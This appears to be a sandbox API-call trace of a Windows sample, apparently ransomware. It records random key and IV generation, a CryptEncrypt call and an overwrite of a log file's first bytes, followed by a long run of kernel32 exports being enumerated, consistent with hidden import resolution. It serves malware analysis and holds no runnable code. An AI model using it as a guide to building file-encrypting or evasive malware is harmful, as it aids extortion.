[0101.014] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x3b60000 [0101.014] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0101.016] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=40) returned 1 [0101.016] CreateFileMappingW (hFile=0x540, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x544 [0101.016] MapViewOfFile (hFileMappingObject=0x544, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3b70000 [0101.017] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x3b60000 | out: pbBuffer=0x3b60000) returned 1 [0101.017] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x3b60020 | out: pbBuffer=0x3b60020) returned 1 [0101.017] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x3b80000 [0101.018] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3b80000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x3b80000*, pdwDataLen=0x38be718*=0x100) returned 1 [0101.018] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x3b90000 [0101.019] VirtualFree (lpAddress=0x3b90000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0101.019] UnmapViewOfFile (lpBaseAddress=0x3b70000) returned 1 [0101.019] CloseHandle (hObject=0x544) returned 1 [0101.019] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.019] WriteFile (in: hFile=0x540, lpBuffer=0x3b80000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x3b80000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0101.020] CloseHandle (hObject=0x0) returned 0 [0101.020] CloseHandle (hObject=0x540) returned 1 [0101.193] VirtualFree (lpAddress=0x3b80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0101.195] VirtualFree (lpAddress=0x3b60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0101.195] GetTickCount () returned 0x2ed73 [0101.195] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x3b60000 [0101.196] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0101.197] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x3b70000 [0101.197] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x3b80000 [0101.197] lstrlenA (lpString="kernel32.dll") returned 12 [0101.199] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0101.199] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0101.199] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0101.199] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0101.199] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0101.199] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0101.199] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0101.199] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0101.199] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0101.199] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0101.199] lstrlenA (lpString="ADDATOMA") returned 8 [0101.199] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0101.199] lstrlenA (lpString="ADDATOMW") returned 8 [0101.199] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0101.199] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0101.199] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0101.199] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0101.199] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0101.199] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0101.199] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0101.199] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0101.199] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0101.199] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0101.199] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0101.199] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0101.199] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0101.199] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0101.200] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0101.200] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0101.200] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0101.200] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0101.200] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0101.200] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0101.200] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0101.200] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0101.200] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0101.200] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0101.200] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0101.200] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0101.200] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0101.200] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0101.200] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0101.200] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0101.200] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0101.200] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0101.200] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0101.200] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0101.200] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0101.200] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0101.200] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0101.200] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0101.200] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0101.200] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0101.200] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0101.200] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0101.200] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0101.200] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0101.200] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0101.202] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0101.202] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0101.202] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0101.202] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0101.202] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0101.202] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0101.202] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0101.202] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0101.202] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0101.202] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0101.202] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0101.202] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0101.202] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0101.202] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0101.202] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0101.202] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0101.202] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0101.202] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0101.202] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0101.202] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0101.202] lstrlenA (lpString="BACKUPREAD") returned 10 [0101.202] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0101.202] lstrlenA (lpString="BACKUPSEEK") returned 10 [0101.202] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0101.202] lstrlenA (lpString="BACKUPWRITE") returned 11 [0101.202] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0101.202] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0101.202] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0101.202] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0101.202] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0101.202] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0101.204] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0101.204] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0101.204] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0101.204] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0101.204] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0101.204] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0101.204] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0101.204] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0101.204] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0101.204] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0101.204] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0101.204] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0101.204] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0101.204] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0101.204] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0101.204] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0101.204] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0101.204] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0101.204] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0101.204] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0101.204] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0101.204] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0101.204] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0101.204] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0101.204] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0101.204] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0101.204] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0101.204] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0101.204] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0101.204] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0101.204] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0101.205] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0101.206] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0101.206] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0101.206] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0101.206] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0101.206] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0101.206] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0101.206] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0101.206] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0101.206] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0101.206] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0101.206] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0101.206] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0101.206] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0101.206] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0101.206] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0101.206] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0101.206] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0101.206] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0101.206] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0101.206] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0101.206] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0101.206] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0101.206] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0101.206] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0101.206] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0101.206] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0101.206] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0101.206] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0101.206] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0101.206] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0101.207] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0101.207] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0101.208] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0101.208] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0101.208] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0101.208] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0101.208] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0101.208] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0101.208] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0101.208] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0101.208] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0101.208] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0101.208] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0101.208] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0101.208] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0101.208] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0101.208] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0101.208] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0101.242] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0101.242] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0101.242] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0101.242] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0101.242] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0101.242] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0101.242] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0101.242] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0101.242] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0101.242] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0101.242] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0101.243] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0101.243] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0101.243] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0101.243] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0101.243] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0101.243] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0101.243] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0101.243] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0101.243] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0101.244] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0101.244] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0101.244] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0101.244] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0101.244] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0101.244] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0101.244] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0101.244] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0101.244] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0101.244] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0101.244] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") 